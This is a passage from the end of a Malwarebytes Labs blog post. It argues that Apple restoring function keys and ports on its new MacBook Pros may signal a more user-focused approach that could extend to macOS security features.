Whoa, there, let’s not do anything crazy like switching to Windows! Microsoft isn’t any better, and the good news is that there’s some hope that things are changing for the better. In October, Apple announced the release of a new MacBook Pro line. Okay, yes, I hear you… doesn’t Apple announce new Macs about once per year? What’s so special about this?

What’s most interesting about the new MacBook Pros are not the M1 Pro and M1 Max chips… it’s that this new line brings back a real keyboard, with real function keys instead of a Touch Bar, and brings back all the ports people were upset about losing. This may not seem like much, but it’s actually quite rare for Apple to walk back changes it’s made, especially to this degree.

Does this mean that Apple is once again starting to pay closer attention to the problems their users are experiencing? Perhaps. It’s definitely a good sign. They’ve looked at user problems that have emerged as a result of their actions, and they have made changes to address those problems, rather than just continuing to barrel forward to the next “cool” feature.

If we’re lucky—and noisy!—perhaps this problem-focused trend will trickle down to security development, and the user experience for some of the recent macOS security features will improve.

Maybe I’m reading more into one product release than I should be. Still, I choose to hope for a better tomorrow.

The post Could Apple’s new MacBooks signal a change in direction on security? appeared first on Malwarebytes Labs.